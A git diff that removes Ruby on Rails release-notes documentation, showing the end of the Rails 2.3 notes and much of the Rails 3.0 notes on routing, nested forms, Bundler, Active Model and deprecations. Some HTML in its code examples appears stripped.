-In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example. - -### Partial Scoping for Translations - -A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before. - -### Other Action Controller Changes - -* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`. -* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely. -* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`. -* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. -* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`. -* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources. -* The bundled memcached client has been updated to version 1.6.4.99. -* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching. -* The `:requirements` option now works properly with additional RESTful member routes. -* Shallow routes now properly respect namespaces. -* `polymorphic_url` does a better job of handling objects with irregular plural names. - -Action View ------------ - -Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things. - -### Nested Object Forms - -Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model: - -```ruby -class Customer < ActiveRecord::Base - has_many :orders - - accepts_nested_attributes_for :orders, :allow_destroy => true -end -``` - -You can write this view in Rails 2.3: - -```html+erb -<% form_for @customer do |customer_form| %> -
- <%= customer_form.label :name, 'Customer Name:' %> - <%= customer_form.text_field :name %> -
- - - <% customer_form.fields_for :orders do |order_form| %> -

-

- <%= order_form.label :number, 'Order Number:' %> - <%= order_form.text_field :number %> -
- - - <% unless order_form.object.new_record? %> -
- <%= order_form.label :_delete, 'Remove:' %> - <%= order_form.check_box :_delete %> -
- <% end %> -

- <% end %> - - <%= customer_form.submit %> -<% end %> -``` - -* Lead Contributor: [Eloy Duran](http://superalloy.nl/) -* More Information: - * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms) - * [complex-form-examples](https://github.com/alloy/complex-form-examples) - * [What's New in Edge Rails: Nested Object Forms](http://archives.ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes) - -### Smart Rendering of Partials - -The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming): - -```ruby -# Equivalent of render :partial => 'articles/_article', -# :object => @article -render @article - -# Equivalent of render :partial => 'articles/_article', -# :collection => @articles -render @articles -``` - -* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://archives.ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance) - -### Prompts for Date Select Helpers - -In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt: - -```ruby -select_datetime(DateTime.now, :prompt => true) - -select_datetime(DateTime.now, :prompt => "Choose date and time") - -select_datetime(DateTime.now, :prompt => - {:day => 'Choose day', :month => 'Choose month', - :year => 'Choose year', :hour => 'Choose hour', - :minute => 'Choose minute'}) -``` - -* Lead Contributor: [Sam Oliver](http://samoliver.com/) - -### AssetTag Timestamp Caching - -You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients. - -### Asset Hosts as Objects - -Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting. - -* More Information: [asset-hosting-with-minimum-ssl](https://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master) - -### grouped_options_for_select Helper Method - -Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example: - -```ruby -grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], - "Cowboy Hat", "Choose a product...") -``` - -returns - -```ruby - - - - - -``` - -### Disabled Option Tags for Form Select Helpers - -The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags: - -```ruby -select(:post, :category, Post::CATEGORIES, :disabled => 'private') -``` - -returns - -```html - -``` - -You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled: - -```ruby -options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?}) -``` - -* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/) -* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/) - -### A Note About Template Loading - -Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server. - -In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file: - -```ruby -config.action_view.cache_template_loading = true -``` - -This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development. - -### Other Action View Changes - -* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs. -* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links. -* The `autolink` helper has been refactored to make it a bit less messy and more intuitive. -* `current_page?` now works properly even when there are multiple query parameters in the URL. - -Active Support --------------- - -Active Support has a few interesting changes, including the introduction of `Object#try`. - -### Object#try - -A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil. - -* More Information: [try()](http://ozmm.org/posts/try.html) - -### Object#tap Backport - -`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well. - -### Swappable Parsers for XMLmini - -The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: - -```ruby -XmlMini.backend = 'LibXML' -``` - -* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/) -* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/) - -### Fractional seconds for TimeWithZone - -The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does: - -```ruby ->> Time.zone.now.xmlschema(6) -=> "2009-01-16T13:00:06.13653Z" -``` - -* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty) - -### JSON Key Quoting - -If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys. - -### Other Active Support Changes - -* You can use `Enumerable#none?` to check that none of the elements match the supplied block. -* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil. -* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`. -* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies). -* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around. -* If you memoize a private method, the result will now be private. -* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`. -* `number_to_phone` accepts 7-digit phone numbers now. -* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences. - -Railties --------- - -In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces. - -### Rails Metal - -Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins. - -* More Information: - * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal) - * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m) - * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html) - * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal) - -### Application Templates - -Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application: - -``` -rake rails:template LOCATION=~/template.rb -``` - -This will layer the changes from the template on top of whatever code the project already contains. - -* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/) -* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates) - -### Quieter Backtraces - -Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. - -### Faster Boot Time in Development Mode with Lazy Loading/Autoload - -Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance. - -You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together. - -### rake gem Task Rewrite - -The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored. - -* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar) - -### Other Railties Changes - -* The instructions for updating a CI server to build Rails have been updated and expanded. -* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test. -* The default `environment.rb` file has been decluttered. -* The dbconsole script now lets you use an all-numeric password without crashing. -* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`. -* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`). -* Rails Guides have been converted from AsciiDoc to Textile markup. -* Scaffolded views and controllers have been cleaned up a bit. -* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path. -* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. -* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. - -Deprecated ----------- - -A few pieces of older code are deprecated in this release: - -* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master). -* Support for Rails components has been removed. -* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. -* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. -* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. -* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. -* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead. -* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`. -* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connector`, `:two_words_connector`, and `:last_word_connector` options. -* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. - -Credits -------- - -Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md deleted file mode 100644 index 517b38b..0000000 --- a/source/3_0_release_notes.md +++ /dev/null @@ -1,612 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Ruby on Rails 3.0 Release Notes -=============================== - -Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done! - -But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too. - -Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are: - -* Brand new router with an emphasis on RESTful declarations -* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!) -* New Active Record chainable query language built on top of relational algebra -* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS) -* Explicit dependency management with Bundler - -On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. - -These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub. - --------------------------------------------------------------------------------- - -To install Rails 3: - -```bash -# Use sudo if your setup requires it -$ gem install rails -``` - - -Upgrading to Rails 3 --------------------- - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes: - -### Rails 3 requires at least Ruby 1.8.7 - -Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. - -### Rails Application object - -As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails. - -Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`. - -### script/* replaced by script/rails - -The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is: - -```bash -$ rails console # instead of script/console -$ rails g scaffold post title:string # instead of script/generate scaffold post title:string -``` - -Run `rails --help` for a list of all the options. - -### Dependencies and config.gem - -The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below. - -### Upgrade Process - -To help with the upgrade process, a plugin named [Rails Upgrade](https://github.com/rails/rails_upgrade) has been created to automate part of it. - -Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: - -```bash -$ ruby script/plugin install git://github.com/rails/rails_upgrade.git -``` - -You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin) - -Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! - -Creating a Rails 3.0 application --------------------------------- - -```bash -# You should have the 'rails' RubyGem installed -$ rails new myapp -$ cd myapp -``` - -### Vendoring Gems - -Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. - -More information: - [bundler homepage](http://bundler.io/) - -### Living on the Edge - -`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped. - -If you want to bundle straight from the Git repository, you can pass the `--edge` flag: - -```bash -$ rails new myapp --edge -``` - -If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: - -```bash -$ ruby /path/to/rails/bin/rails new myapp --dev -``` - -Rails Architectural Changes ---------------------------- - -There are six major changes in the architecture of Rails. - -### Railties Restrung - -Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner. - -### All Rails core components are decoupled - -With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will. - -More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) - - -### Active Model Abstraction - -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. - -More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) - - -### Controller Abstraction - -Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller. - -More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) - - -### Arel Integration - -[Arel](https://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. - -More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/) - - -### Mail Extraction - -Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](https://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. - -More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) - - -Documentation -------------- - -The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released). - -More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects) - - -Internationalization --------------------- - -A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](https://github.com/svenfuchs/i18n) gem supplying many speed improvements. - -* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations. -* Attributes can have default translations. -* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation. -* Labels with I18n also now work by just passing the attribute name. - -More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/) - - -Railties --------- - -With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible: - -* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier. -* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications. -* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options. - - Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info. - -Railties generators got a huge amount of attention in Rails 3.0, basically: - -* Generators were completely rewritten and are backwards incompatible. -* Rails templates API and generators API were merged (they are the same as the former). -* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`. -* New generators provide hooks, so any template engine, ORM, test framework can easily hook in. -* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`. -* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them. - -Also, the views generated by Railties generators had some overhaul: - -* Views now use `div` tags instead of `p` tags. -* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views. -* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in. - -Finally a couple of enhancements were added to the rake tasks: - -* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups. -* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller. - -Railties now deprecates: - -* `RAILS_ROOT` in favor of `Rails.root`, -* `RAILS_ENV` in favor of `Rails.env`, and -* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`. - -`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`. - -More information: - -* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators) -* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/) - -Action Pack ------------ - -There have been significant internal and external changes in Action Pack. - - -### Abstract Controller - -Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem. - -It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code. - -Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails. - -More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/) - - -### Action Controller - -* `application_controller.rb` now has `protect_from_forgery` on by default. -* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`. -* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`. -* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`. -* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures. -* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously. -* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks. -* `ActionController::Responder` added allowing you flexibility in how your responses get generated. - -Deprecations: - -* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`. - -More Information: - -* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3) -* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder) - - -### Action Dispatch - -Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing. - -* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software. -* Routes defined by each application are now name spaced within your Application module, that is: - - ```ruby - # Instead of: - - ActionController::Routing::Routes.draw do |map| - map.resources :posts - end - - # You do: - - AppName::Application.routes do - resources :posts - end - ``` - -* Added `match` method to the router, you can also pass any Rack application to the matched route. -* Added `constraints` method to the router, allowing you to guard routers with defined constraints. -* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example: - - ```ruby - scope 'es' do - resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto' - end - - # Gives you the edit action with /es/proyecto/1/cambiar - ``` - -* Added `root` method to the router as a short cut for `match '/', :to => path`. -* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional. -* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`. - -NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release. - -Deprecations - -* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out. -* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value. - -More Information: -* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) -* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0) -* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/) - - -### Action View - -#### Unobtrusive JavaScript - -Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. - -What this means is that all previous `remote_` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](https://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: - -```ruby -form_for @post, :remote => true -``` - -Produces: - -```html -
-``` - -#### Helpers with Blocks - -Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now: - -```html+erb -<%= form_for @post do |f| %> - ... -<% end %> -``` - -Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand. - -Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `<%` as before. - -#### Other Changes - -* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`. -* Helpers now output HTML 5 by default. -* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation. -* I18n select label on should now be :en.helpers.select instead of :en.support.select. -* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output. -* Added `grouped_collection_select` helper to Action View. -* `content_for?` has been added allowing you to check for the existence of content in a view before rendering. -* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value -* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute -* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute - -Active Model ------------- - -Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface. - - -### ORM Abstraction and Action Pack Interface - -Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack. - -More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/) - - -### Validations - -Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3. - -* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one 